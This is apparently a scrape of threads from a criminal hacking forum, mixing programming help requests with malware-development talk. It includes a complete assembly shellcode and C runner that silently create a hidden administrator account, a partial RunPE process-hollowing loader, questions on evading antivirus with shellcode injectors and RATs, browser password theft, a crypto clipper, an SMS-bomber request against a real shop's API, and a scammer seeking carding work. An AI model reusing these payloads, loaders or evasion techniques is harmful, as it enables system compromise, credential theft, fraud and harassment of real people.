Last Post: 2022-11-26T21:40:15+0000
Author: Zgustavo419V
Replies: 0 Views: 280

Всех приветствую, нужна работа, готов рассмотреть варианты
Скажу как есть, воркал чехию, в простонародье СКАМ мамонтов на торговых площадках. Хочется уровень выше и более прибыльнее. Много кто советует окунуться в кардинг. У кого есть желание поделиться опытом, посоветовать что то годное, что будет приносить деньги. Что бы хватило обзавестись личным жильем(квартирой), буду только благодарен
не судите строго, новокек
желание изучать что то новое, куда больше чем большое:)

Ребят киньте пожалуйста ссылку на курсы по яп C++
ID: 6765d804b4103b69df375940
Thread ID: 59266
Created: 2021-11-24T18:11:39+0000
Last Post: 2021-11-26T13:44:50+0000
Author: Ретр0
Replies: 4 Views: 280

Можно ещё и на Java

Заранее спасибо :)

Курсы java разработчик от яндекс.
ID: 6765d804b4103b69df375772
Thread ID: 102364
Created: 2023-11-16T14:51:10+0000
Last Post: 2023-11-16T16:13:41+0000
Author: Ferostarz
Replies: 2 Views: 280

Java-разработчик. Все части (2022)

[Яндекс.Практикум] Java-разработчик Часть 1 из 10 (2021) https://cloud.mail.ru/public/xMap/D9ADLBcxo
[Яндекс.Практикум] Java-разработчик. Часть 2 из 10 (2021) https://cloud.mail.ru/public/idq3/D14UEjcEt
[Яндекс.Практикум] Java-разработчик Часть 3 из 10 - Яндекс.Практикум (2022) https://disk.yandex.ru/d/BE-XnFqn3DyFDQ
[Яндекс.Практикум] Java-разработчик Часть 4 из 10 - Яндекс.Практикум (2022) https://disk.yandex.ru/d/Keu7_m1_Gxjs3w
[Яндекс.Практикум] Java-разработчик. Часть 5 из 10 (2022) https://cloud.mail.ru/public/wfJb/tBRx1oBJd
[Яндекс.Практикум] Java-разработчик. Часть 6 из 10 (2022) https://cloud.mail.ru/public/FDzh/qALfZDJyS
[Яндекс.Практикум] Java-разработчик. Часть 7 из 10 (2022) https://cloud.mail.ru/public/KDCV/49t7y2SbQ
[Яндекс.Практикум] Java-разработчик. Часть 8 из 10 (2022) https://cloud.mail.ru/public/XwYM/ccECmsz7H Доп. материал к курсу → https://cloud.mail.ru/public/CUwb/XS8VT58tQ
[Яндекс.Практикум] Java-разработчик. Часть 9 из 10 (2022) https://cloud.mail.ru/public/xxRU/HQ2PaB2CT Доп. материал к курсу →https://cloud.mail.ru/public/CUwb/XS8VT58tQ
[Яндекс.Практикум] Java-разработчик. Часть 10 из 10 (2022) https://cloud.mail.ru/public/MUwi/UCnoV2d5r Доп. материал к курсу →https://cloud.mail.ru/public/CUwb/XS8VT58tQ

Development Tools 🛠⚙
ID: 6765d804b4103b69df37579d
Thread ID: 97178
Created: 2023-09-03T12:11:59+0000
Last Post: 2023-09-03T12:11:59+0000
Author: Knight_Bishop
Replies: 0 Views: 280

Y'ello guys !!!
am super excited to share this content as recommended by most of my viewers. I have been getting request from some of you on concerning which development tool am using for malware development. Actually I get all my tools from my supplier on telegram. he's been my counterpart since i started malware development. You can reach him out through this link [https://t.me/MarkSlavyanin]. he has all you need to get started as a malware developer. If you have any issues concerning malware development don't hesitate to reach me out right here. Happy Coding ❤

Конфликт C++ RunPE с .NET аплой
ID: 6765d804b4103b69df375876
Thread ID: 74888
Created: 2022-10-29T23:25:55+0000
Last Post: 2022-10-30T07:50:25+0000
Author: clown_boost
Replies: 1 Views: 280

Собсно сабж
Траю с с++ аплой - все ворк
С c# - ничего не происходит, пробовал также с CLR повозится в настройках студии, но все тлен

sqlite3_open sometimes returns ntdll exception: alternatives?
ID: 6765d804b4103b69df375777
Thread ID: 102082
Created: 2023-11-11T17:16:10+0000
Last Post: 2023-11-12T21:05:54+0000
Author: 3c2n90yt57489t3y8794
Replies: 6 Views: 279

Hello, I use sqlite3.c and sqlite3.h to open chromium databases in order to decrypt passwords. The problem is that:
9/10 times -> the program gets all passwords correctly
1/10 times -> sqlite3_open16(File, &db) returns an exception in ntdll (and the File open by sqlite is everytime different and valid, so it's not a problem about the file)

Code:Copy to clipboard

Exception thrown at 0x00007FF9FEE1426B (ntdll.dll) 0xC0000005: Access violation reading location

I'm running the software in w10 ltsc, I suppose ntdll sometimes is used by the system and sqlite3.c can't use it so it doesn't handle this case. Do you know if there a way to fix the problem or another library to use?

IO Completion Ports
ID: 6765d804b4103b69df375965
Thread ID: 57387
Created: 2021-10-05T10:47:42+0000
Last Post: 2021-10-05T16:57:26+0000
Author: scrim
Replies: 2 Views: 279

Hello xss.

Is there any detailed tutorial how to use IOCP? I cannot find a 100% explanation on the internet. It is clear how IOCP works and i have some examples but im still figuring out...
(Я не кодирую шкафчик)

вызовы memcpy, _chkstk в clang без crt в vs
ID: 6765d804b4103b69df3757fc
Thread ID: 85570
Created: 2023-04-09T19:33:52+0000
Last Post: 2023-04-10T18:31:43+0000
Author: D3buG
Replies: 2 Views: 278

Всем привет. Столкнулся с такой проблемой, что проект без crt не хочет линоковаться clang (ollvm)
Точнее он почему-то вставляет сртишные вызовы _chkstk и memcpy в релизный билд.
Сразу скажу, что не использую конструкции вида struct SomeStruct ss = {0}; или BYTE z[32] = {0};

memcpy он пихает в такие конструкции:

C:Copy to clipboard

BYTE somearray[10][10] = {
    {0x0, 0x1, 0x2, 0x3, 0xFF, 0x43, ...},
    {0x8, 0x2, 0x5, 0x6, 0xEF, 0x58, ...},
    ...
}

C:Copy to clipboard

WCHAR x1[9] = L"\x5a\x5b\x6c\x6d\x7e\x6f\xFb\x21";
WCHAR x2[10] = L"\x5a\x4c\x7b\x6d\x6f\x70\x7b\xFE\x03";
WCHAR x3[12] = L"\x5b\x6e\x7c\x7c\x61\x6d\x6c\x6a\x6d\xFA\x05";
...

__chkstk просто во все функции вставляет

Параметр -fno-builtin не помог.
Так же не помогает добавление аттрибута void somefn() __attribute__((no_builtin)) {...}

Я гуглил насчёт этого всего и нашел только no_builtin и сообщения о том, что это невозможно, "потому что по стандарту так надо!!"
Может есть какой-то вариант переопределить эти функции без особых проблем? Или желательно их вообще отключить.

MSVC отлично компилирует код без этих вставок и при линковке проблем нет, а с clang'ом какая-то проблема(

Ищу реализацию билдера на С#
ID: 6765d804b4103b69df375931
Thread ID: 59880
Created: 2021-12-09T07:32:54+0000
Last Post: 2021-12-09T18:52:00+0000
Author: zerosum0x0
Replies: 2 Views: 277

Сабж в шапке но дополню, хотелось бы чтобы объяснили как белаются билдеры на C#, буду рад любым исходникам, ответам, советам!

Написание софта под Android
ID: 6765d804b4103b69df3757e8
Thread ID: 86053
Created: 2023-04-16T21:31:04+0000
Last Post: 2023-05-14T18:42:00+0000
Author: dregons
Replies: 1 Views: 276

Есть игра standoff 2, нам нужно перехвачивать пакеты с каток, проверять наличие скинов если они совпадают передавать нам ид пользователей. Софт должен сам заходить в катку, проверять если ли, если нет выходить и заходить в новую катку и так по кругу. Передача ид должна быть через телеграмм бота. мой тг @karpevg

WIP Virtualization
ID: 6765d804b4103b69df375864
Thread ID: 76356
Created: 2022-11-21T19:20:52+0000
Last Post: 2022-11-22T07:39:33+0000
Author: Basic
Replies: 2 Views: 276

Недавно задался вопросом о создании "виртуальной машины" (под PE x64), есть ли примеры уже готовых виртуалок, или что-то в этом роде?
Пример

C# Shellcode Injection
ID: 6765d804b4103b69df375786
Thread ID: 99229
Created: 2023-10-02T05:20:05+0000
Last Post: 2023-10-02T05:20:05+0000
Author: GGHTC
Replies: 0 Views: 273

Hi, I coded a shellcode injector in C#, all working good. Injection is undetected by defender. Problem is when I run some commands with my rat, for example cmd it gets detected. Is there some technique that fixes that?
(rat itself is undetected too, with all the functions )

Клиппер на rust или другом языке отличном от c c++ - целесообразно ли ?
ID: 6765d804b4103b69df3758ef
Thread ID: 63531
Created: 2022-02-26T16:21:47+0000
Last Post: 2022-02-28T07:54:43+0000
Author: CobaltStriker
Replies: 1 Views: 272

Доброго времени суток, видел как-то раз на дамаге тему, человек продавал исходники крипто клиппера на rust, было совсем недавно, причем судя по комментам людям было актуально. Сейчас думаю заказать разработку, но не уверен что это целесообразно, сам разработчик, но больше под веб и автоматизацию, поэтому очень хотелось бы услышать мнение человека в теме - стоит ли заморачиваться или нет и если да, то почему, с меня плюсик за хороший ответ)

Из известной мне инфы - клиппер на расте весит 200 кб, не могу сказать что это сильно смущает, интересуют остальные моменты - крипт, плюсы/минусы в целом и прочее

Windows Internals, Part 2, 7th
ID: 6765d804b4103b69df375947
Thread ID: 56836
Created: 2021-09-19T06:26:14+0000
Last Post: 2021-11-24T03:52:12+0000
Author: wx69wx
Replies: 2 Views: 272

Windows Internals, Part 2, 7th.pdf

[ Windows Internals, Part 2, 7th.pdf - AnonFiles

](https://anonfiles.com/V0e2v7I9u5/Windows_Internals_Part_2_7th_pdf)

anonfiles.com anonfiles.com

[C++]Как проверять открыто ли приложение и впоследствии закрывать его?
ID: 6765d804b4103b69df37595c
Thread ID: 57901
Created: 2021-10-19T17:50:46+0000
Last Post: 2021-10-19T19:29:17+0000
Author: UZipB
Replies: 2 Views: 272

Интересует вопрос - как проверять открыто ли приложение, и , если да - закрывать его. (C++)
Заранее спасибо.

неразрешенный внешний символ __aullshr
ID: 6765d804b4103b69df375976
Thread ID: 56038
Created: 2021-08-30T13:33:58+0000
Last Post: 2021-08-31T05:53:06+0000
Author: jingo
Replies: 4 Views: 272

вот такая строка кода вызывает ошибку "неразрешенный внешний символ __aullshr"

C:Copy to clipboard

p_strc->m_overl.OffsetHigh = (DWORD)(p_strc->m_filesize >> 32);

кто знает как с этим бороться?

Помогите спарсить названия
ID: 6765d804b4103b69df3758be
Thread ID: 67878
Created: 2022-05-30T15:41:00+0000
Last Post: 2022-05-30T19:25:49+0000
Author: Ags1of
Replies: 15 Views: 270

Нужно, чтобы парсились все каналы, который выдаст ютуб по моему запросу
вот код:

C#:Copy to clipboard

using Fizzler.Systems.HtmlAgilityPack;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using System.Web;
using System.Windows.Forms;



namespace Boil
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        public void label1_Click(object sender, EventArgs e)
        {
            
        }

        public void textBox1_TextChanged(object sender, EventArgs e)
        {
            
        }

        public  void button1_Click(object sender, EventArgs e)
        {
            Start();
        }
        public void richTextBox1_TextChanged(object sender, EventArgs e)
        {

        }






        public void Start()
        {
            WebClient web = new WebClient();
            string txt = textBox1.Text;
            string[] hui = SortTextForReq(txt);
            string LoadString = "https://www.youtube.com/results?search_query=";
            for (int i = 0; i < hui.Length; i++)
            {
                LoadString += hui[i] + "+";
            }
            richTextBox1.AppendText(LoadString + " ");
            string resp = web.DownloadString(LoadString);
            File.WriteAllText("Query.html", resp, Encoding.UTF8);
            Process.Start("Query.html");



            HtmlAgilityPack.HtmlDocument doc = new HtmlAgilityPack.HtmlDocument();
            doc.LoadHtml(resp);

            string pars = doc.DocumentNode.QuerySelector("ytd-app").InnerHtml;

            foreach (var item in doc.DocumentNode.QuerySelectorAll("a#yt-simple-endpoint style-scope yt-formatted-string.spellcheck.href")) //в этой строке пытаюсь найти каналы, но не работает
            {
                richTextBox1.AppendText(item.InnerText + " ");
            }
            

        }
        public static string[] SortTextForReq(string text)
        {
            string[] words = text.Split(' ');
            
            int counter = 0;

            //for (int i = 0; i < words.Length; i++)
            //{
            //    if (words[i] != null || words[i] != "")
            //    {
            //        counter++;   
            //    }
            //}

            //string[] sortWords = new string[counter];
            //int iter = 0;

            //for (int i = 0; i < words.Length; i++)
            //{
            //    if (words[i] != "")
            //    {
            //        sortWords[iter] = words[i];
            //        iter++;
            //    }
            //    else
            //    {
            //        continue;
            //    }
            //}
            return words;
        }

      
    }
}
Аналоги MetroFramework UI
ID: 6765d804b4103b69df3757c1
Thread ID: 93098
Created: 2023-07-16T13:51:47+0000
Last Post: 2023-07-26T21:40:18+0000
Author: awaken1337
Replies: 5 Views: 270

Существуют ли аналоги MetroFramework для WinForms ?
В виде NuGet package желательно

Directly add an administrator with shellcode
ID: 6765d804b4103b69df3757d8
Thread ID: 90621
Created: 2023-06-15T20:07:46+0000
Last Post: 2023-06-15T20:07:46+0000
Author: omerta
Replies: 0 Views: 270

This is a addadminexploit.asm assembly code that creates a new user named "omerta" with password "XSSTestPOC".
Then adds this user to administrators group.
It uses uses the PEB method ---> locate the baseAddress of the modules ---> Export Directory Table to locate the symbols.
The shellcodes perform 3 different calls:
- NetUserAdd
- NetLocalGroupAddMembers
- ExitProcess

Code:Copy to clipboard

start:
    mov ebp, esp                   ;
    add esp, 0xfffff9f0            ; To avoid null bytes
 
find_kernel32:
    xor ecx, ecx                   ; ECX = 0
    mov esi,fs:[ecx+30h]           ; ESI = &(PEB) ([FS:0x30])
    mov esi,[esi+0Ch]              ; ESI = PEB->Ldr
    mov esi,[esi+1Ch]              ; ESI = PEB->Ldr.InInitOrder
 
next_module:
    mov ebx, [esi+8h]              ; EBX = InInitOrder[X].base_address
    mov edi, [esi+20h]             ; EDI = InInitOrder[X].module_name
    mov esi, [esi]                 ; ESI = InInitOrder[X].flink (next)
    cmp [edi+12*2], cx             ; (unicode) modulename[12] == 0x00?
    jne next_module                ; No: try next module.
 
find_function_shorten:
    jmp find_function_shorten_bnc  ; Short jump
 
find_function_ret:
    pop esi                        ; POP the return address from the stack
    mov [ebp+0x04], esi            ; Save find_function address for later usage
    jmp resolve_symbols_kernel32   ;
 
find_function_shorten_bnc:         ;
    call find_function_ret         ; Relative CALL with negative offset
 
find_function:
    pushad                         ; Save all registers
    mov eax, [ebx+0x3c]            ; Offset to PE Signature
    mov edi, [ebx+eax+0x78]        ; Export Table Directory RVA
    add edi, ebx                   ; Export Table Directory VMA
    mov ecx, [edi+0x18]            ; NumberOfNames
    mov eax, [edi+0x20]            ; AddressOfNames RVA
    add eax, ebx                   ; AddressOfNames VMA
    mov [ebp-4], eax               ; Save AddressOfNames VMA for later use
        
 
find_function_loop:
    jecxz find_function_finished   ; Jump to the end if ECX is 0
    dec ecx                        ; Decrement our names counter
    mov eax, [ebp-4]               ; Restore AddressOfNames VMA
    mov esi, [eax+ecx*4]           ; Get the RVA of the symbol name
    add esi, ebx                   ; Set ESI to the VMA of the current symbol name
                
compute_hash:
    xor eax, eax                   ;
    cdq                            ; Null EDX
    cld                            ; Clear direction
 
compute_hash_again:
    lodsb                          ; Load the next byte from esi into al
    test al, al                    ; Check for NULL terminator
    jz compute_hash_finished       ; If the ZF is set, we've hit the NULL term
    ror edx, 0x0d                  ; Rotate edx 13 bits to the right
    add edx, eax                   ; Add the new byte to the accumulator
    jmp compute_hash_again         ; Next iteration
 
compute_hash_finished:
 
find_function_compare:
    cmp edx, [esp+0x24]            ; Compare the computed hash with the requested hash
    jnz find_function_loop         ; If it doesn't match go back to find_function_loop
    mov edx, [edi+0x24]            ; AddressOfNameOrdinals RVA
    add edx, ebx                   ; AddressOfNameOrdinals VMA
    mov cx, [edx+2*ecx]            ; Extrapolate the function's ordinal
    mov edx, [edi+0x1c]            ; AddressOfFunctions RVA
    add edx, ebx                   ; AddressOfFunctions VMA
    mov eax, [edx+4*ecx]           ; Get the function RVA
    add eax, ebx                   ; Get the function VMA
    mov [esp+0x1c], eax            ; Overwrite stack version of eax from pushad
                
find_function_finished:
    popad                          ; Restore registers
    ret                            ;
 
                                   ; Resolve kernel32 symbols
resolve_symbols_kernel32:
    push 0x78b5b983                ; Kernel 32 - TerminateProcess hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x10], eax            ; Save TerminateProcess address for later usage
    push 0xec0e4e8e                ; Kernel 32 - LoadLibraryA hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x14], eax            ; Save LoadLibraryA address for later usage
 
                                   ; LoadLibraryA - samcli.dll
load_samcli:
    xor eax, eax                   ;
    push eax                       ;
    mov ax, 0x6c6c                 ; # ll
    push eax                       ;
    push 0x642e696c                ; d.il
    push 0x636d6173                ; cmas
    push esp                       ; Push ESP to have a pointer to the string
    call dword [ebp+0x14]          ; Call LoadLibraryA
 
                                   ; Resolve samcli.dll symbols
resolve_symbols_samcli:
                                   ; Samcli - NetUserAdd
    mov ebx, eax                   ; Move the base address of samcli.dll to EBX
    push 0xcd7cdf5e                ; NetUserAdd hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x1C], eax            ; Save NetUserAdd address for later usage
                                   ; Samcli - NetLocalGroupAddMembers
    push 0xc30c3dd7                ; NetLocalGroupAddMembers hash
    call dword [ebp+0x04]          ; Call find_function
    mov [ebp+0x20], eax            ; Save NetLocalGroupAddMembers address for later usage
 
execute_shellcode:
                                    ; Useful registers
    xor eax, eax                   ; eax = 0
    xor ebx, ebx                   ;
    inc ebx                        ; ebx = 1
 
                                   ; Group - Administrators
    push eax                       ; string delimiter
                                   ; push 0x00730072 ; sr
    mov edx, 0xff8cff8e            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x006f0074 ; ot
    mov edx, 0xff90ff8c            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00610072 ; ar
    mov edx, 0xff9eff8e            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00740073 ; ts
    mov edx, 0xff8bff8d            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x0069006e ; in
    mov edx, 0xff96ff92            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x0069006d ; im
    mov edx, 0xff96ff93            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00640041 ; dA
    mov edx, 0xff9bffbf            ;
    neg edx                        ;
    push edx                       ;
 
    mov [ebp+0x24], esp            ; store groupname in [esi]
 
                                   ; Username - omerta
    push eax                       ; string delimiter
                                   ; push 0x00690076 ; iv       
    mov edx, 0xff96ff8a            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00610078 ; xa
    mov edx, 0xff9eff88            ;
    neg edx                        ;
    push edx                       ;
 
    mov ecx, esp                   ; Pointer to the string
    mov [ebp+0x28], ecx            ; store username in [esi+4]
 
                                   ; Password - XSSTestPOC
    push eax                       ; string delimiter
                                   ; push 0x00210035 ; !5
    mov edx, 0xffdeffcb            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00340033 ; 43
    mov edx, 0xffcbffcd            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00320031 ; 21
    mov edx, 0xffcdffcf            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00720065 ; re
    mov edx, 0xff8dff9b            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x006d006d ; mm
    mov edx, 0xff92ff93            ;
    neg edx                        ;
    push edx                       ;
                                   ; push 0x00750053 ; uS
    mov edx, 0xff8affad            ;
    neg edx                        ;
    push edx                       ;
 
    mov edx, esp                   ; store password in edx
 
                                   ; USER_INFO_1 structure
    push eax                       ; 0 - sScript_Path
    push ebx                       ; 1 - uiFlags
    push eax                       ; 0 - sComment
    push eax                       ; 0 - sHome_Dir
    push ebx                       ; 1 - uiPriv = USER_PRIV_USER = 1
    push eax                       ; 0 - uiPasswordAge
    push edx                       ; str - sPassword
    push ecx                       ; str - sUsername
    mov ecx, esp                   ;
 
                                   ; NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, UInt32 level, IntPtr userInfo, out UInt32 parm_err);
                                   ; NetUserAdd(null, 1, bufptr, out parm_err);
    push eax                       ; 0 - parm_err
    push esp                       ; pointer to USER_INFO_1 structure ?
    push ecx                       ; USER_INFO_1 - UserInfo             
    push ebx                       ; 1 - level 
    push eax                       ; 0 - servername
 
    call dword [ebp+0x1C]          ; NetUserAdd - System Call
 
                                   ; LOCALGROUP_MEMBERS_INFO_3 structure
    mov ecx, [ebp+0x28]            ; Domain = Username
    push ecx                       ;
    mov ecx, esp                   ; Save a pointer to Username
 
                                   ; NetLocalGroupAddMembers(string servername, string groupname, UInt32 level, ref LOCALGROUP_MEMBERS_INFO_3 buf, UInt32 totalentries);
                                   ; NetLocalGroupAddMembers(null, "administrators", 3, ref group, 1);
    push ebx                       ; 1 - totalentries
    push ecx                       ; LOCALGROUP_MEMBERS_INFO_3 - username
    push 3                         ; 3 - level 3 means that we are using the structure LOCALGROUP_MEMBERS_INFO_3
    push dword [ebp+0x24]          ; str - groupname
    push eax                       ; 0 - servername
 
    call dword [ebp+0x20]          ; NetLocalGroupAddMembers - System Call
 
    xor eax, eax                   ;
    push eax                       ; return 0
 
    call dword [ebp+0x10]          ; ExitProcess - System Call
 
 
####################################### shellcode.c  #######################################
 
/*
 
 Shellcode runner author: reenz0h (twitter: @sektor7net)
 
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
unsigned char payload[] =
    "\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c"
    "\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04"
    "\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18"
    "\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31"
    "\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75"
    "\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8"
    "\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e"
    "\x0e\xec\xff\x55\x04\x89\x45\x14\x31\xc0\x50\x66\xb8\x6c\x6c\x50\x68\x6c\x69\x2e"
    "\x64\x68\x73\x61\x6d\x63\x54\xff\x55\x14\x89\xc3\x68\x5e\xdf\x7c\xcd\xff\x55\x04"
    "\x89\x45\x1c\x68\xd7\x3d\x0c\xc3\xff\x55\x04\x89\x45\x20\x31\xc0\x31\xdb\x43\x50"
    "\xba\x8e\xff\x8c\xff\xf7\xda\x52\xba\x8c\xff\x90\xff\xf7\xda\x52\xba\x8e\xff\x9e"
    "\xff\xf7\xda\x52\xba\x8d\xff\x8b\xff\xf7\xda\x52\xba\x92\xff\x96\xff\xf7\xda\x52"
    "\xba\x93\xff\x96\xff\xf7\xda\x52\xba\xbf\xff\x9b\xff\xf7\xda\x52\x89\x65\x24\x50"
    "\xba\x8a\xff\x96\xff\xf7\xda\x52\xba\x88\xff\x9e\xff\xf7\xda\x52\x89\xe1\x89\x4d"
    "\x28\x50\xba\xcb\xff\xde\xff\xf7\xda\x52\xba\xcd\xff\xcb\xff\xf7\xda\x52\xba\xcf"
    "\xff\xcd\xff\xf7\xda\x52\xba\x9b\xff\x8d\xff\xf7\xda\x52\xba\x93\xff\x92\xff\xf7"
    "\xda\x52\xba\xad\xff\x8a\xff\xf7\xda\x52\x89\xe2\x50\x53\x50\x50\x53\x50\x52\x51"
    "\x89\xe1\x50\x54\x51\x53\x50\xff\x55\x1c\x8b\x4d\x28\x51\x89\xe1\x53\x51\x6a\x03"
    "\xff\x75\x24\x50\xff\x55\x20\x31\xc0\x50\xff\x55\x10";
 
unsigned int payload_len = 373;
 
int main(void) {
 
    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
    RtlMoveMemory(exec_mem, payload, payload_len);
    
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
 
    printf("Shellcode Length:  %d\n", strlen(payload));
    
    if ( rv != 0 ) {
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
        
    }
 
    return 0;
}
[C#]Как корректно отправить запрос?
ID: 6765d804b4103b69df375894
Thread ID: 72350
Created: 2022-08-28T20:59:22+0000
Last Post: 2022-08-30T11:56:03+0000
Author: Ags1of
Replies: 10 Views: 270

Всем привет. Пытаюсь сделать что-то типо смс-бомбера. Подскажите, пожалуйста, как нужно корректно сформировать запрос с этого сайта (сайт), чтобы отправилось сообщение? Я пользовался утилитой Postman, в него перенёс все Request Headers, и в постмане всё работало, а потом, когда с потсмана скопировал C# код и вставил в VS, то программа отказывается работать. Возвращает пустой response и не отправляет сообщение. Вот сам C# код:

C#:Copy to clipboard

 try
            {
                var client = new RestClient("https://www.585zolotoy.ru/api/sms/send_code/");
                client.Timeout = -1;
                var request = new RestRequest(Method.POST);
                request.AddHeader("accept-language", "ru,en;q=0.9");
                request.AddHeader("content-length", "23");
                request.AddHeader("content-type", "application/json;charset=UTF-8");
                request.AddHeader("origin", "https://www.585zolotoy.ru");
                request.AddHeader("referer", "https://www.585zolotoy.ru/login/");
                request.AddHeader("sec-ch-ua", "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"102\", \"Yandex\";v=\"22\"");
                request.AddHeader("sec-ch-ua-mobile", "?0");
                request.AddHeader("sec-ch-ua-platform", "\"Windows\"");
                request.AddHeader("sec-fetch-dest", "empty");
                request.AddHeader("sec-fetch-mode", "cors");
                request.AddHeader("sec-fetch-site", "same-origin");
                request.AddHeader("x-qa-client-type", "WEB");
                request.AddHeader("x-qa-company", "3e6efe10-defd-4983-94a1-c5a4d3cb3689");
                request.AddHeader("x-qa-region", "a93acc32-8ed4-48ed-b105-abd0eb856021");
                var body = "{\"phone\":\"тут номер телефона"}"; //скобки в этой строке я экранировал сам. До этого было везде по две двойные кавычки
                request.AddParameter("application/json;charset=UTF-8", body, ParameterType.RequestBody);
                IRestResponse response = client.Execute(request);
                MessageBox.Show(response.Content);
            }
            catch(Exception ex)
            {
                MessageBox.Show("Не отправилось!" + ex);
            }

Также хочу сказать, что на новой версии либы RestSharp - код не работает вообще, не находит некоторые методы. Я установил restSharp версии 106.15.0

Формирование данных
ID: 6765d804b4103b69df37593e
Thread ID: 59415
Created: 2021-11-27T21:27:07+0000
Last Post: 2021-11-28T12:07:25+0000
Author: Ags1of
Replies: 6 Views: 270

Приветствую, дорогин гуру кодинга. Помогите с такой проблемкой: есть тхт файл, в нём находятся определённые данные, допустим, имя : фамилия ; номер.
Мне же нужно сделать так, чтобы при инпуте номера, мне высветилось имя и фамилия, или при инпуте фамилии имя и номер, далее по аналогии. Помогите реализовать данную задумку.

Brandon Perry - Gray Hat C#
ID: 6765d804b4103b69df37575f
Thread ID: 104379
Created: 2023-12-20T10:20:15+0000
Last Post: 2023-12-20T10:20:15+0000
Author: johnsm
Prefix: Мануал/Книга
Replies: 0 Views: 268

Для ознакомления. Если понравилась книга - не забывайте купить ее.

You must have at least 5 reaction(s) to view the content.

c++ shellcode injection help hiding shellcode in memory after decryption
ID: 6765d804b4103b69df3757e5
Thread ID: 88210
Created: 2023-05-17T15:58:28+0000
Last Post: 2023-05-18T11:50:58+0000
Author: GoldenK9
Replies: 3 Views: 267

Hi can some good c++ expert help me with this problem,

I successfully create my shellcode injector in local memory, but still have one more problem i face as in the picture bellow after decrypting the shellcode and running its naked in memory if i can see the naked code the AV still can see this naked and detect it can some one help fix this problem and prevent av and process hacker from see the shellcode naked and hidding it

dd.png

Запуск ресурса из памяти
ID: 6765d804b4103b69df375898
Thread ID: 72235
Created: 2022-08-25T13:28:49+0000
Last Post: 2022-08-26T22:18:58+0000
Author: fest
Replies: 3 Views: 267

Запуск ресурса из памяти для x32.
Переделать под x64 не сложно.

Code:Copy to clipboard

#include "resource.h"
#include <Windows.h>
#include <iostream>

using namespace std;

// Decrypt the executable
void decryptXOR(char* binary, int size)
{
    cout << "[-] Decrypting" << endl;
    // Define the key to XOR this ***** with
    int xorKey = 169;
    cout << "[-] XOR key: " << xorKey << endl;

    // Decrypt that b
    char unencrypted_char;
    for (int i = 0; i < size; i++) {
        unencrypted_char = binary[i];
        binary[i] = binary[i] ^ xorKey;
    }
}

// Run the PE from memory
int RunPE(void* Image)
{
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase; //Base address of the image
    void* pImageBase; // Pointer to the image base

    int count;
    char CurrentFilePath[1024];

    DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

    GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        ZeroMemory(&PI, sizeof(PI)); // Null the memory
        ZeroMemory(&SI, sizeof(SI)); // Null the memory

        if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current process in suspended state, for the new image.
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
            {
                // Read instructions
                ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
                pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                // Write the image to the process
